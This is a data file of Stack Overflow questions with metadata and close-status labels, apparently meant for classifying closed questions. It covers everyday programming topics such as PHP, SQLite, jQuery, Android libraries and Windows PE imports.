PostId
int64
13
11.8M
PostCreationDate
stringlengths
19
19
OwnerUserId
int64
3
1.57M
OwnerCreationDate
stringlengths
10
19
ReputationAtPostCreation
int64
-33
210k
OwnerUndeletedAnswerCountAtPostTime
int64
0
5.77k
Title
stringlengths
10
250
BodyMarkdown
stringlengths
12
30k
Tag1
stringlengths
1
25
Tag2
stringlengths
1
25
Tag3
stringlengths
1
25
Tag4
stringlengths
1
25
Tag5
stringlengths
1
25
PostClosedDate
stringlengths
19
19
OpenStatus
stringclasses
5 values
unified_texts
stringlengths
47
30.1k
OpenStatus_id
int64
0
4
10,828,330
05/31/2012 06:13:16
1,427,546
05/31/2012 05:20:18
1
0
validators serialization
We have a option to add question in our MVC project.Here we've validator section like email validator and so on.We can check the validator checkbox when adding question. we'll get the validators and serilalize it as xml like **ExtensionSerializer.SerializeValidators(question.Validators);** because it will store in database as xml string. now when we get the question details like **ExtensionSerializer.DeSerializeValidators(processQuestion.Extension)** Note :extenstion is a property in ProcessQuestion class which returns xml string But the problem here arrised the extension property always getting 'null'.How the problem will be resolved?
mvc
serialization
validator
null
null
06/12/2012 17:58:08
not a real question
validators serialization === We have a option to add question in our MVC project.Here we've validator section like email validator and so on.We can check the validator checkbox when adding question. we'll get the validators and serilalize it as xml like **ExtensionSerializer.SerializeValidators(question.Validators);** because it will store in database as xml string. now when we get the question details like **ExtensionSerializer.DeSerializeValidators(processQuestion.Extension)** Note :extenstion is a property in ProcessQuestion class which returns xml string But the problem here arrised the extension property always getting 'null'.How the problem will be resolved?
1
150,032
09/29/2008 18:36:52
727
08/08/2008 12:16:17
290
17
Ideas to replace Stored Procedure in Cash Flow report
We have a Cash flow report which is basically in this structure: Date |Credit|Debit|balance| 09/29| 20 | 10 | 10 | 09/30| 0 | 10 | 0 | The main problem is the balance, and as we are using a DataSet for the Data, it's kinda hard to calculate the balance on the DataSet, because we always need the balance from the previous day. Also this data comes from several tables and it's been hard to maintain this procedure, because the database metadata is changing frequently. Anyone could give me some possible different solutions? for the problem? This report is being displayed on a DataGrid.
delphi
stored-procedures
report
null
null
12/04/2008 01:50:05
off topic
Ideas to replace Stored Procedure in Cash Flow report === We have a Cash flow report which is basically in this structure: Date |Credit|Debit|balance| 09/29| 20 | 10 | 10 | 09/30| 0 | 10 | 0 | The main problem is the balance, and as we are using a DataSet for the Data, it's kinda hard to calculate the balance on the DataSet, because we always need the balance from the previous day. Also this data comes from several tables and it's been hard to maintain this procedure, because the database metadata is changing frequently. Anyone could give me some possible different solutions? for the problem? This report is being displayed on a DataGrid.
2
9,716,171
03/15/2012 08:30:13
351,126
09/02/2009 08:25:19
2,183
25
Where are the app's build folders located?
Where are the app's build folders located? I cannot see anything in the app directory.
iphone
objective-c
xcode
null
null
null
open
Where are the app's build folders located? === Where are the app's build folders located? I cannot see anything in the app directory.
0
8,715,874
01/03/2012 17:07:24
349,351
05/24/2010 21:36:52
512
1
Commonly installed font, "scientific latex"-like
I am developing a website and I would like to use a font (or a set of fonts) that: 1. Is commonly installed on Windows (XP, Vista, 7), Linux(es) and Mac(OSX) machines 2. Resembles as closely as possible typical latex fonts commonly found in scientific journals (see for instance this page: [bernoulli][1]) What font do you suggest for the task? [1]: http://www.bernoulli-society.org/index.php/publications/bernoulli-journal/bernoulli-journal-papers
xhtml
fonts
latex
null
null
01/04/2012 17:25:55
off topic
Commonly installed font, "scientific latex"-like === I am developing a website and I would like to use a font (or a set of fonts) that: 1. Is commonly installed on Windows (XP, Vista, 7), Linux(es) and Mac(OSX) machines 2. Resembles as closely as possible typical latex fonts commonly found in scientific journals (see for instance this page: [bernoulli][1]) What font do you suggest for the task? [1]: http://www.bernoulli-society.org/index.php/publications/bernoulli-journal/bernoulli-journal-papers
2
8,828,843
01/12/2012 00:56:38
313,717
04/11/2010 00:42:34
140
4
Simple iOS OpenGL Level Meter
I'm trying to use OpenGL to create a level meter, which would change colors based on a value that I would pass (0 to 1.0). Can anyone help me to create this? Or at least to take the SpeakHere sample app code and modify it to do what I need as described above? I don't need all the extra code to actually pull from real audio data. I would need it to adjust the colors based on the value passed to it manually. Any guidance or code is greatly appreciated. Thanks!
iphone
ios
opengl
null
null
01/16/2012 23:45:30
not a real question
Simple iOS OpenGL Level Meter === I'm trying to use OpenGL to create a level meter, which would change colors based on a value that I would pass (0 to 1.0). Can anyone help me to create this? Or at least to take the SpeakHere sample app code and modify it to do what I need as described above? I don't need all the extra code to actually pull from real audio data. I would need it to adjust the colors based on the value passed to it manually. Any guidance or code is greatly appreciated. Thanks!
1
4,239,990
11/21/2010 19:54:32
515,276
11/21/2010 18:08:04
1
0
J, creating a function
I just started learning J and I tried to create a function that checks if a number is prime. <./<./13|*/~(2}.i.)13 This checks if 13 is prime and will return 1. <./<./10|*/~(2}.i.)10 And this will return 0. So my question: how do I make a function out of this? How do I specify the argument? prime(x) =: <./<./x|*/~(2}.i.)x This, ofcourse, won't work. But how can I create this function in J? PS. I know the function doesn't work for 2, I'll deal with that later :D
function
numbers
primes
j
null
null
open
J, creating a function === I just started learning J and I tried to create a function that checks if a number is prime. <./<./13|*/~(2}.i.)13 This checks if 13 is prime and will return 1. <./<./10|*/~(2}.i.)10 And this will return 0. So my question: how do I make a function out of this? How do I specify the argument? prime(x) =: <./<./x|*/~(2}.i.)x This, ofcourse, won't work. But how can I create this function in J? PS. I know the function doesn't work for 2, I'll deal with that later :D
0
3,918,265
10/12/2010 19:25:32
473,446
10/12/2010 14:22:50
1
0
Execute application from web browser?
How can I execute a desktop application from a browser?. I have a web page with a button, when user click this button a simple java desktop application must run. How can I do this using jsp or javascript?
java
javascript
jsp
null
null
null
open
Execute application from web browser? === How can I execute a desktop application from a browser?. I have a web page with a button, when user click this button a simple java desktop application must run. How can I do this using jsp or javascript?
0
11,002,226
06/12/2012 18:01:56
354,460
05/31/2010 09:40:57
339
4
what is the error in Remove new Line character in PHP?
I have wrote a program to remove second new line character. But its not working as expected. Please check what is the problem with it. <?php $skip = 2; $i = 1; $count=1; $handle = fopen("newfile.doc","r"); $handle2 = fopen("newfile2.doc","w"); if($handle){ while(($buffer = fgetc($handle))!=FALSE){ if($buffer=="\n"){ $i++; if($i%$skip==0){ $count++; $buffer = "\n"; }else{ $buffer = "skip"; } } if($buffer!="skip"){ echo $buffer; fwrite($handle2, $buffer); } } echo "total lines: $count"; if(!feof($handle)){ echo "error"; } fclose($handle); fclose($handle2); } ?>
php
file
php5
filesystems
newline
06/12/2012 18:03:11
not a real question
what is the error in Remove new Line character in PHP? === I have wrote a program to remove second new line character. But its not working as expected. Please check what is the problem with it. <?php $skip = 2; $i = 1; $count=1; $handle = fopen("newfile.doc","r"); $handle2 = fopen("newfile2.doc","w"); if($handle){ while(($buffer = fgetc($handle))!=FALSE){ if($buffer=="\n"){ $i++; if($i%$skip==0){ $count++; $buffer = "\n"; }else{ $buffer = "skip"; } } if($buffer!="skip"){ echo $buffer; fwrite($handle2, $buffer); } } echo "total lines: $count"; if(!feof($handle)){ echo "error"; } fclose($handle); fclose($handle2); } ?>
1
8,964,035
01/22/2012 19:38:41
713,441
04/18/2011 13:03:42
97
9
Can't add library to my android project
I'm creating a new app and I want to use some libraries like this: https://github.com/JakeWharton/Android-ViewPagerIndicator I had downloaded this library, added it to my workspace using New Android Project -> Create from existig source. Went to properties > android, and checked `Is Library`. Then I went to properties > android in my app project, and clicked add on the Libraries section, and chose the library, and It show me the library with a green V near it. I've clicked ok, but couldn't use the library so I've opened the properties > android again, and there was a red cross near the library, and '?' under the "Project" column. I can't understand why it's happening! It's really annoying, happened to me when I tried to add facebook API to my app, and I just gave up and copied the source to my project. Thanks, Elad!
android
eclipse
null
null
null
null
open
Can't add library to my android project === I'm creating a new app and I want to use some libraries like this: https://github.com/JakeWharton/Android-ViewPagerIndicator I had downloaded this library, added it to my workspace using New Android Project -> Create from existig source. Went to properties > android, and checked `Is Library`. Then I went to properties > android in my app project, and clicked add on the Libraries section, and chose the library, and It show me the library with a green V near it. I've clicked ok, but couldn't use the library so I've opened the properties > android again, and there was a red cross near the library, and '?' under the "Project" column. I can't understand why it's happening! It's really annoying, happened to me when I tried to add facebook API to my app, and I just gave up and copied the source to my project. Thanks, Elad!
0
146,766
09/28/2008 21:18:16
15,985
09/17/2008 13:55:21
101
16
What is the best SNMP library to use with .NET?
What are the best SNMP libraries to use with .NET? Specifically for listening for traps or sending set or get requests.
.net
networking
network-protocols
snmp
null
07/28/2012 19:06:09
not constructive
What is the best SNMP library to use with .NET? === What are the best SNMP libraries to use with .NET? Specifically for listening for traps or sending set or get requests.
4
6,307,114
06/10/2011 13:36:50
159,251
08/19/2009 13:13:01
59
2
android 2d arc collision detection
i have a rotated arc drawn using android 2d graphics c.drawArc(new RectF(50, 50, 250, 250), 30, 270, true, paint); the arc will **rotate** while the game is running , **i wanna know how i can detect if any other game objects(rects ,circles) collide with it** ?? this is the first time for me to write a game :) i saw something like this in http://hakim.se/experiments/html5/core/01/ Thanks in advance
android
collision-detection
curve
geometric-arc
null
null
open
android 2d arc collision detection === i have a rotated arc drawn using android 2d graphics c.drawArc(new RectF(50, 50, 250, 250), 30, 270, true, paint); the arc will **rotate** while the game is running , **i wanna know how i can detect if any other game objects(rects ,circles) collide with it** ?? this is the first time for me to write a game :) i saw something like this in http://hakim.se/experiments/html5/core/01/ Thanks in advance
0
8,452,028
12/09/2011 21:40:14
79,513
03/18/2009 14:30:08
1,958
67
Updating rows based on a multiple column condition
I'm trying to update some rows in a table based on two other columns in another table. As a toy model, consider two tables: People, with columns first_name, last_name, and has_license; Drivers, with columns first_name and last_name. Now I want to update the first table so has_license='Y' for all tuples of first_name and last_name that are also in the Drivers table. I could do: UPDATE people SET has_license='Y' WHERE first_name + last_name IN (SELECT first_name + last_name FROM drivers) (In my actual query, first_name and last_name are an externally-set record id and a date, and the subquery is more complex involving a join/EXCEPT clause.) That's clumsy and has possible errors depending on the values. Ideally I could just make the tuple in sql like so: UPDATE people SET has_license='Y' WHERE (first_name, last_name) IN (SELECT first_name, last_name FROM drivers) But that's invalid SQL (according to SQLite). So is what I want even possible? (One other problem is that none of the tables have any primary keys, especially not single-column ones. If that weren't the case, I would use that to simply identify the row.)
sql
sqlite
null
null
null
null
open
Updating rows based on a multiple column condition === I'm trying to update some rows in a table based on two other columns in another table. As a toy model, consider two tables: People, with columns first_name, last_name, and has_license; Drivers, with columns first_name and last_name. Now I want to update the first table so has_license='Y' for all tuples of first_name and last_name that are also in the Drivers table. I could do: UPDATE people SET has_license='Y' WHERE first_name + last_name IN (SELECT first_name + last_name FROM drivers) (In my actual query, first_name and last_name are an externally-set record id and a date, and the subquery is more complex involving a join/EXCEPT clause.) That's clumsy and has possible errors depending on the values. Ideally I could just make the tuple in sql like so: UPDATE people SET has_license='Y' WHERE (first_name, last_name) IN (SELECT first_name, last_name FROM drivers) But that's invalid SQL (according to SQLite). So is what I want even possible? (One other problem is that none of the tables have any primary keys, especially not single-column ones. If that weren't the case, I would use that to simply identify the row.)
0
11,581,107
07/20/2012 14:11:26
1,540,982
07/20/2012 14:00:43
1
0
Python web-framework without forced OOP
Is there any Python web-framework without forced OOP?
python
web-frameworks
null
null
null
07/20/2012 23:16:33
not constructive
Python web-framework without forced OOP === Is there any Python web-framework without forced OOP?
4
6,434,576
06/22/2011 03:27:43
428,857
08/23/2010 21:23:28
3,057
207
Absolute file path for DLL in PE executable file?
I have a program (MyProg.exe) that takes an EXE file in PE format (OldExe.exe), and creates a new EXE file (NewExe.exe) with a different ".rsrc" section. It works fine, under Windows XP and Windows 7 (I haven't tried Vista). But now I need to be able to run NewExe.exe from any directory, and it requires a DLL file (MyDll.dll) that is in the same directory as MyProg.exe. I don't want to alter the path, because this program needs to run on end-users' computers. And I can't alter the registry to use an application-specific path, because these NewExe.exe files will typically be created in reasonably large numbers and then mostly deleted. So my thought was that I could change "MyDll.dll" in the ".idata" section to, say, "C:\MyDir\MyDll.dll". I have tried to implement this, but it doesn't work ("The application was unable to start correctly (0xc0000005)"). This was not much of a surprise, because PE format is difficult to get right. But before I put more debugging effort into this problem, does anybody know of a reason why this approach wouldn't work?
windows
dll
pe
null
null
06/23/2011 04:51:15
too localized
Absolute file path for DLL in PE executable file? === I have a program (MyProg.exe) that takes an EXE file in PE format (OldExe.exe), and creates a new EXE file (NewExe.exe) with a different ".rsrc" section. It works fine, under Windows XP and Windows 7 (I haven't tried Vista). But now I need to be able to run NewExe.exe from any directory, and it requires a DLL file (MyDll.dll) that is in the same directory as MyProg.exe. I don't want to alter the path, because this program needs to run on end-users' computers. And I can't alter the registry to use an application-specific path, because these NewExe.exe files will typically be created in reasonably large numbers and then mostly deleted. So my thought was that I could change "MyDll.dll" in the ".idata" section to, say, "C:\MyDir\MyDll.dll". I have tried to implement this, but it doesn't work ("The application was unable to start correctly (0xc0000005)"). This was not much of a surprise, because PE format is difficult to get right. But before I put more debugging effort into this problem, does anybody know of a reason why this approach wouldn't work?
3
6,038,805
05/18/2011 01:02:01
758,376
05/18/2011 01:02:01
1
0
showing selected data of php file
i have the following files ,this following code shows all the addresses of apartment.xml on google map but i want to display just those 3 addresses of suburb that i have found in search.php file. i really dont know how to do this.can anybody help me in doing this. search.htm----------------------- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8"/> <title>Search Page</title> <script type="text/javascript" src="xhr.js"></script> <script src="http://maps.google.com/maps?file=api&v=2&key=ABQIAAAAB1CHU9LrppxpqwUwaxkvTBS4TmEPKrr-gix5qR9UkByjFP4DexSXYpbDxp5x8P-Qv18BjBerNtEzpw" type="text/javascript"></script> <script type="text/javascript" src="map.js"></script> </head> <body onload="load()" onunload="GUnload()"> <form> Enter Street Address: <input type="text" name="street" size="40" /> Enter Suburb : <input type="text" name="suburb" size="40" /> <input name="submit" type = "button" onClick = "getData('search.php','info', street.value, suburb.value)" value = "Search" /> </form> <div id="map" style="width: 500px; height: 400px"></div> <div id="info"> </div> </body> </html> file search.php ------------------- <?php $street= $_POST["str"]; $suburb= $_POST["sub"]; $street=strtolower("$street"); $suburb=strtolower("$suburb"); // validating form values if (empty($street) || empty($suburb)) { echo"<p>You must enter a value in each field.</p>";} else { $xmlFile = "apartment.xml"; $doc= DOMDocument::load($xmlFile); $property = $doc->getElementsByTagName("property"); $propertyy=array(); foreach($property as $node) { $type = $node->getElementsByTagName("type"); $type = $type->item(0)->nodeValue; $price = $node->getElementsByTagName("price"); $price = $price->item(0)->nodeValue; $address = $node->getElementsByTagName("address"); $address = $address->item(0)->nodeValue; // split the address into two parts, street and suburb, using delimiter ',' $address_split = explode(',', $address); $address_street = $address_split[0]; $address_street=strtolower("$address_street"); $address_suburb = $address_split[1]; $address_suburb=strtolower("$address_suburb"); $address_state = $address_split[2]; $address_country = $address_split[3]; $numberOfBedrooms = $node->getElementsByTagName("numberOfBedrooms"); $numberOfBedrooms = $numberOfBedrooms->item(0)->nodeValue; $numberOfBathrooms = $node->getElementsByTagName("numberOfBathrooms"); $numberOfBathrooms = $numberOfBathrooms->item(0)->nodeValue; $garage = $node->getElementsByTagName("garage"); $garage = $garage->item(0)->nodeValue; $description = $node->getElementsByTagName("description"); $description = $description->item(0)->nodeValue; if ($address_suburb == $suburb) $propertyy[$price]= array($price, $address, $numberOfBedrooms); } ksort($propertyy, SORT_NUMERIC); $propertyy = array_slice($propertyy,0,3); foreach($propertyy AS $p => $n) { $pri=$n[0]; $addi=$n[1]; $xml = new DomDocument('1.0', 'utf-8'); $xml->formatOutput = true; $properties= $xml->createElement( 'properties' ); $propertyy = $xml->createElement('propertyy'); $addresss = $xml->createElement('addresss'); $xml->appendChild( $properties ); $properties->appendChild( $propertyy ); $propertyy->appendChild( $addresss ); $addresss->nodeValue = $addi; echo $addi; } } ?> map.js------------------------------------ var map; var geocoder; var xml; var property; var address; // On page load, call this function function load() { // Create new map object map = new GMap2(document.getElementById("map")); // Set map center location map.setCenter(new GLatLng(-37.816667,144.966667), 10); // Add Map Controls map.addControl(new GSmallMapControl()); map.addControl(new GMapTypeControl()); // Create new geocoding object geocoder = new GClientGeocoder(); // Download the data from search.php and load it on the map. GDownloadUrl("apartment.xml", function(data) { xml = GXml.parse(data); property = xml.documentElement.getElementsByTagName("property"); for (var i = 0; i < property.length; i++) { address= property[i].getElementsByTagName("address"); address = address[0].childNodes[0].nodeValue; geocoder.getLocations(address, addToMap);} }); } // This function adds the point to the map function addToMap(response) { // Retrieve the object place = response.Placemark[0]; // Retrieve the latitude and longitude point = new GLatLng(place.Point.coordinates[1], place.Point.coordinates[0]); function createMarker(point,address) { var marker = new GMarker(point); GEvent.addListener(marker, "click", function() { map.openInfoWindowHtml(point, address); }); return marker; } map.addOverlay(createMarker(point, response.name)); } // file search.js // using POST method var xhr = createRequest(); function getData(dataSource, divID, stree,subur) { if(xhr) { var obj = document.getElementById(divID); var requestbody ="str="+encodeURIComponent(stree)+"&sub="+encodeURIComponent(subur); xhr.open("POST", dataSource, true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { obj.innerHTML = xhr.responseText; } // end if } // end anonymous call-back function xhr.send(requestbody); } // end if } // end function getData()
php
javascript
html
xml
null
05/18/2011 03:30:39
not a real question
showing selected data of php file === i have the following files ,this following code shows all the addresses of apartment.xml on google map but i want to display just those 3 addresses of suburb that i have found in search.php file. i really dont know how to do this.can anybody help me in doing this. search.htm----------------------- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8"/> <title>Search Page</title> <script type="text/javascript" src="xhr.js"></script> <script src="http://maps.google.com/maps?file=api&v=2&key=ABQIAAAAB1CHU9LrppxpqwUwaxkvTBS4TmEPKrr-gix5qR9UkByjFP4DexSXYpbDxp5x8P-Qv18BjBerNtEzpw" type="text/javascript"></script> <script type="text/javascript" src="map.js"></script> </head> <body onload="load()" onunload="GUnload()"> <form> Enter Street Address: <input type="text" name="street" size="40" /> Enter Suburb : <input type="text" name="suburb" size="40" /> <input name="submit" type = "button" onClick = "getData('search.php','info', street.value, suburb.value)" value = "Search" /> </form> <div id="map" style="width: 500px; height: 400px"></div> <div id="info"> </div> </body> </html> file search.php ------------------- <?php $street= $_POST["str"]; $suburb= $_POST["sub"]; $street=strtolower("$street"); $suburb=strtolower("$suburb"); // validating form values if (empty($street) || empty($suburb)) { echo"<p>You must enter a value in each field.</p>";} else { $xmlFile = "apartment.xml"; $doc= DOMDocument::load($xmlFile); $property = $doc->getElementsByTagName("property"); $propertyy=array(); foreach($property as $node) { $type = $node->getElementsByTagName("type"); $type = $type->item(0)->nodeValue; $price = $node->getElementsByTagName("price"); $price = $price->item(0)->nodeValue; $address = $node->getElementsByTagName("address"); $address = $address->item(0)->nodeValue; // split the address into two parts, street and suburb, using delimiter ',' $address_split = explode(',', $address); $address_street = $address_split[0]; $address_street=strtolower("$address_street"); $address_suburb = $address_split[1]; $address_suburb=strtolower("$address_suburb"); $address_state = $address_split[2]; $address_country = $address_split[3]; $numberOfBedrooms = $node->getElementsByTagName("numberOfBedrooms"); $numberOfBedrooms = $numberOfBedrooms->item(0)->nodeValue; $numberOfBathrooms = $node->getElementsByTagName("numberOfBathrooms"); $numberOfBathrooms = $numberOfBathrooms->item(0)->nodeValue; $garage = $node->getElementsByTagName("garage"); $garage = $garage->item(0)->nodeValue; $description = $node->getElementsByTagName("description"); $description = $description->item(0)->nodeValue; if ($address_suburb == $suburb) $propertyy[$price]= array($price, $address, $numberOfBedrooms); } ksort($propertyy, SORT_NUMERIC); $propertyy = array_slice($propertyy,0,3); foreach($propertyy AS $p => $n) { $pri=$n[0]; $addi=$n[1]; $xml = new DomDocument('1.0', 'utf-8'); $xml->formatOutput = true; $properties= $xml->createElement( 'properties' ); $propertyy = $xml->createElement('propertyy'); $addresss = $xml->createElement('addresss'); $xml->appendChild( $properties ); $properties->appendChild( $propertyy ); $propertyy->appendChild( $addresss ); $addresss->nodeValue = $addi; echo $addi; } } ?> map.js------------------------------------ var map; var geocoder; var xml; var property; var address; // On page load, call this function function load() { // Create new map object map = new GMap2(document.getElementById("map")); // Set map center location map.setCenter(new GLatLng(-37.816667,144.966667), 10); // Add Map Controls map.addControl(new GSmallMapControl()); map.addControl(new GMapTypeControl()); // Create new geocoding object geocoder = new GClientGeocoder(); // Download the data from search.php and load it on the map. GDownloadUrl("apartment.xml", function(data) { xml = GXml.parse(data); property = xml.documentElement.getElementsByTagName("property"); for (var i = 0; i < property.length; i++) { address= property[i].getElementsByTagName("address"); address = address[0].childNodes[0].nodeValue; geocoder.getLocations(address, addToMap);} }); } // This function adds the point to the map function addToMap(response) { // Retrieve the object place = response.Placemark[0]; // Retrieve the latitude and longitude point = new GLatLng(place.Point.coordinates[1], place.Point.coordinates[0]); function createMarker(point,address) { var marker = new GMarker(point); GEvent.addListener(marker, "click", function() { map.openInfoWindowHtml(point, address); }); return marker; } map.addOverlay(createMarker(point, response.name)); } // file search.js // using POST method var xhr = createRequest(); function getData(dataSource, divID, stree,subur) { if(xhr) { var obj = document.getElementById(divID); var requestbody ="str="+encodeURIComponent(stree)+"&sub="+encodeURIComponent(subur); xhr.open("POST", dataSource, true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { obj.innerHTML = xhr.responseText; } // end if } // end anonymous call-back function xhr.send(requestbody); } // end if } // end function getData()
1
6,913,165
08/02/2011 13:53:39
546,142
12/17/2010 14:06:09
16
2
Resume/CV Parsing in PHP
We are developing a requirement base social media site using LAMP. For that we want to do Resume/CV Parsing in PHP. We were able to parse Email-id and Phone, but not sure how to parse the other information like full name, address, education, employment etc from the resume. Plus resume/CV can be in various formats like doc,html,rtf,txt etc. Anyone know abt the PHP script, where we can grab the data. or any development idea to kick start. Thanks in advance.
php
parsing
lamp
text-parsing
null
08/02/2011 14:12:34
not a real question
Resume/CV Parsing in PHP === We are developing a requirement base social media site using LAMP. For that we want to do Resume/CV Parsing in PHP. We were able to parse Email-id and Phone, but not sure how to parse the other information like full name, address, education, employment etc from the resume. Plus resume/CV can be in various formats like doc,html,rtf,txt etc. Anyone know abt the PHP script, where we can grab the data. or any development idea to kick start. Thanks in advance.
1
11,436,771
07/11/2012 16:04:59
225,899
12/06/2009 18:45:38
3,324
86
Generating unique abbreviations from a list of names
I have a list of company names. How could I generate a list of unique abbreviations from this list ?
php
abbreviation
null
null
null
07/12/2012 17:10:09
not a real question
Generating unique abbreviations from a list of names === I have a list of company names. How could I generate a list of unique abbreviations from this list ?
1
9,889,443
03/27/2012 12:21:09
1,164,983
01/23/2012 12:56:50
12
0
Unable to access HTML file in Tomcat
I am getting a strange behavior in my webapp. The application has few HTML and JSP files that I can access. Then I created a new HTML file and tried to access it using URL, but I am not able to access it (getting a 404). So while I am able to access http://locahost:8080/myapp/about.html, I am unable to access http://localhost:8080/myapp/test.html I have even tried to restart the server, but that does not help. Any pointers?
java
java-ee
web-applications
tomcat7
null
03/28/2012 12:59:25
not a real question
Unable to access HTML file in Tomcat === I am getting a strange behavior in my webapp. The application has few HTML and JSP files that I can access. Then I created a new HTML file and tried to access it using URL, but I am not able to access it (getting a 404). So while I am able to access http://locahost:8080/myapp/about.html, I am unable to access http://localhost:8080/myapp/test.html I have even tried to restart the server, but that does not help. Any pointers?
1
7,416,744
09/14/2011 13:02:43
944,674
09/14/2011 13:02:43
1
0
Update and deleteXML on same rows created deadlock
currently used to Update and deleteXML on same rows created deadlock need your help thank you
xml
null
null
null
null
09/14/2011 14:51:56
not a real question
Update and deleteXML on same rows created deadlock === currently used to Update and deleteXML on same rows created deadlock need your help thank you
1
7,780,362
10/15/2011 20:15:14
749,113
05/11/2011 16:36:56
1
0
image gallery in html
I made web site in html,but I have a problem when I click on some image in gallery, there is not new page.This is the error: This webpage is not found No webpage was found for the web address: file:///C:/Users/
html
image
gallery
null
null
null
open
image gallery in html === I made web site in html,but I have a problem when I click on some image in gallery, there is not new page.This is the error: This webpage is not found No webpage was found for the web address: file:///C:/Users/
0
8,070,181
11/09/2011 19:05:52
159,072
06/02/2009 18:25:22
2,630
41
How to choose a Programming Paradism to work with?
There are many questions in SO about choosing a programming language. To me, I think, the choice becomes easier if I can decide which paradigm/model I am going to work with. But, my question is, how to choose a programming paradigm/model for a software project? When to choose Imperative, OO, Functional, Logic and/or mixed paradigm/model? What paradigm is good for which type of projects?
programming-paradigms
null
null
null
null
11/10/2011 10:59:37
not constructive
How to choose a Programming Paradism to work with? === There are many questions in SO about choosing a programming language. To me, I think, the choice becomes easier if I can decide which paradigm/model I am going to work with. But, my question is, how to choose a programming paradigm/model for a software project? When to choose Imperative, OO, Functional, Logic and/or mixed paradigm/model? What paradigm is good for which type of projects?
4
7,912,506
10/27/2011 06:46:36
960,340
09/23/2011 03:13:24
1
1
Data driven ASP.NET website with amazing UI
I am wanting to build a data driven website mainly in asp.net and whatever can be suited with it ..My website will collect some peoples data based on area and university and verification of the person with image and scanned id card. Based on that validated info peoples will be provided some facilities. Also there is a messaging facility is need by which admin at top levels can message admins at lower level. I am thinking about the UI and database ..but a little confused where to start ..the client wants very good UI also..any suggestion about frameworks or something like that ????????
asp.net
.net
ajax
null
null
10/27/2011 07:59:25
not a real question
Data driven ASP.NET website with amazing UI === I am wanting to build a data driven website mainly in asp.net and whatever can be suited with it ..My website will collect some peoples data based on area and university and verification of the person with image and scanned id card. Based on that validated info peoples will be provided some facilities. Also there is a messaging facility is need by which admin at top levels can message admins at lower level. I am thinking about the UI and database ..but a little confused where to start ..the client wants very good UI also..any suggestion about frameworks or something like that ????????
1
2,535,713
03/29/2010 03:49:40
302,933
03/26/2010 23:17:51
1
0
How to bind Dictionary with ComboBox and textbox?
I have a Dictionary<String Person>, where Person is a class, defined below String role; public class Person { public string firstname{ get; set; } public string lastname{ get; set; } public string city{ get; set; } } my question is how to bind the Dictionary key: String with a ComboBox, menwhile. have the Dictionary value: Person connected with three textboxes. That is, once a key is selected in the ComboBox, the corresponding value, firstname, lastname, city are shown in the three textboxes respectively? Thanks in advance!
wpf
binding
null
null
null
null
open
How to bind Dictionary with ComboBox and textbox? === I have a Dictionary<String Person>, where Person is a class, defined below String role; public class Person { public string firstname{ get; set; } public string lastname{ get; set; } public string city{ get; set; } } my question is how to bind the Dictionary key: String with a ComboBox, menwhile. have the Dictionary value: Person connected with three textboxes. That is, once a key is selected in the ComboBox, the corresponding value, firstname, lastname, city are shown in the three textboxes respectively? Thanks in advance!
0
7,237,879
08/30/2011 01:41:27
144,697
07/24/2009 19:02:35
395
5
jQuery ajax $.post refreshes page when called from validate plugin
I can not figure out what is happening here but somehow my page is being refreshed/redirected when I call $.post inside of the submitHandler in the validate plugin. The backend is just simply returning an HTTP status code of 200. Here is my code: $('form[name=comment]').validate({ submitHandler: function(form) { $('#postComment').attr('disabled', 'disabled'); $.post('/blog/comments/create/', form.serialize(), function() { prependComment(form); }).error(function() { alert('There was an issue when submitting this comment.'); }).complete(function() { $('#postComment').removeAttribute('disabled'); }); } }); Here is the HTML <form action="/blog/comments/create/" name="comment" method="post"> <input type="hidden" name="post" value="1"/> <ul> <li> <input type="text" name="name" value="Your name" class="required"/> </li> <li> <textarea name="message" rows="10" cols="55" class="required"></textarea> </li> <li> <button type="submit" id='postComment' class="primary">Post comment</button> </li> </ul> </form>
javascript
jquery
ajax
jquery-ajax
post
null
open
jQuery ajax $.post refreshes page when called from validate plugin === I can not figure out what is happening here but somehow my page is being refreshed/redirected when I call $.post inside of the submitHandler in the validate plugin. The backend is just simply returning an HTTP status code of 200. Here is my code: $('form[name=comment]').validate({ submitHandler: function(form) { $('#postComment').attr('disabled', 'disabled'); $.post('/blog/comments/create/', form.serialize(), function() { prependComment(form); }).error(function() { alert('There was an issue when submitting this comment.'); }).complete(function() { $('#postComment').removeAttribute('disabled'); }); } }); Here is the HTML <form action="/blog/comments/create/" name="comment" method="post"> <input type="hidden" name="post" value="1"/> <ul> <li> <input type="text" name="name" value="Your name" class="required"/> </li> <li> <textarea name="message" rows="10" cols="55" class="required"></textarea> </li> <li> <button type="submit" id='postComment' class="primary">Post comment</button> </li> </ul> </form>
0
11,542,168
07/18/2012 13:08:52
1,531,782
07/17/2012 12:32:17
1
0
How to auomate Image buttons using Pywinauto in python
I have window, In window contains to image buttons a and b, So how to automate using pywinauto
python
null
null
null
null
07/19/2012 11:39:49
not a real question
How to auomate Image buttons using Pywinauto in python === I have window, In window contains to image buttons a and b, So how to automate using pywinauto
1
7,610,898
09/30/2011 13:15:10
903,094
08/19/2011 20:35:49
25
0
Accent insensitive string comparison?
Is there any way to do an accent insensitive string comparison? For example, é == e? I couldn't find any options to pass rangeOfString:options:. Any help is greatly appreciated. Thanks, Sam
objective-c
cocoa
null
null
null
null
open
Accent insensitive string comparison? === Is there any way to do an accent insensitive string comparison? For example, é == e? I couldn't find any options to pass rangeOfString:options:. Any help is greatly appreciated. Thanks, Sam
0
8,376,487
12/04/2011 15:53:32
519,526
11/25/2010 00:09:35
428
3
How to overwrite my database when updated
